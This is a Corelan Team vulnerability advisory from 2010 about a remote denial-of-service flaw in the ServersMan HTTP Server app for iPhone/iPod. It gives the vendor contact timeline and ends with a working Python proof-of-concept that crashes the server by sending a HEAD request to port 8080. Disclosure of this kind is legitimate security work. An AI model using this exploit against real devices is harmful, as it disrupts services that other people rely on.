|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / / __ \/ / _ \/ / __ `/ __ \ / / _ \/ __ `/ __ ` \ |
| / // // / / / __/ / // / / / / / // __/ // / / / / / / |
| \/\// \//\,// // \/\/\__,// // // |
| |
| http://www.corelan.be:8800 |
| [email protected] |
| |
|-------------------------------------------------[ EIP Hunters ]–|
| |
| Vulnerability Disclosure Report |

Advisory : CORELAN-10-005
Disclosure date : 27th Jan 2010

0x00 : Vulnerability information

[] Product : Apple Iphone/Ipod - Serversman HTTP Server
[] Version : 3.1.5
[] Vendor : ServersMan
[] URL : http://serversman.com/index_en.jsp
[] Platform : Darwin osx (Iphone) 3G
[] Type of vulnerability : Remote DoS
[] Risk rating : Low
[] Issue fixed in version : <unfixed>
[] Vulnerability discovered by : mr_me
[] Greetings to : corelanc0d3r, EdiStrosar, rick2600, ekse, MarkoT, sinn3r
& Jacky from Corelan Team

0x01 : Vendor description of software

From the vendor website:

Share your files with friends via ServerMan. Use your iPhone, iPod Touch or
Windows Mobile as a web server. Publish audio, pictures, your current
location.

0x02 : Vulnerability details

The vulnerability can be triggered by using a HTTP 'head' request to access
the default web root '/' on the device.

0x03 : Vendor communication

[] January 3, 2010 - Initial contact
[] January 4, 2010 - Vendor replied requesting PoC code
[] January 4, 2010 - Provided vendor with PoC
[] January 11, 2010 - Requested patch date and confirmation of vulnerability
[] January 12, 2010 - Received confirmation of vulnerability
[] January 24, 2010 - Contacted vendor for patch date
[*] January 27, 2010 - No response from vendor

0x04 : Exploit/PoC

#!/usr/bin/python

Apple Iphone/Ipod - Serversman 3.1.5 HTTP Remote DoS exploit

Found by: Steven Seeley (mr_me) seeleymagic [at] hotmail [dot] com

Homepage: http://serversman.com/index_en.jsp

Download: From the app store (use your itunes account)

Tested on: Iphone 3G - firmware 3.1.2 (Darwin kernel)

Greetz to: corelanc0d3r, EdiStrosar, rick2600, ekse, MarkoT, sinn3r &

Jacky from Corelan Team

Special Greetz to TecR0c!

print "|------------------------------------------------------------------|"
print "| __ __ |"
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |"
print "| / / __ \/ / _ \/ / __ `/ __ \ / / _ \/ __ `/ __ ` \ |"
print "| / // // / / / __/ / // / / / / / // __/ // / / / / / / |"
print "| \/\// \//\,// // \/\/\__,// // // |"
print "| |"
print "| http://www.corelan.be:8800 |"
print "| [email protected] |"
print "| |"
print "|-------------------------------------------------[ EIP Hunters ]–|"
print "[+] Apple Iphone/Ipod - Serversman 3.1.5 HTTP Remote DOS exploit"

import socket
import sys

def Usage():
print ("Usage: ./serversman.py <serv_ip>\n")
print ("Example: ./serversman.py 192.168.48.183\n")
if len(sys.argv) <> 2:
Usage()
sys.exit(1)
else:
hostname = sys.argv[1]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 8080))
print "[+] Connecting to the target…"
except:
print ("[-] Connection error!")
sys.exit(1)
print "[+] Sending payload… muhaha ph33r"
sock.send("HEAD / HTTP/1.0\r\n\r\n")
r=sock.recv(1024)
sock.close()
print "[+] HTTP Server is now DoSed!"
sys.exit(0);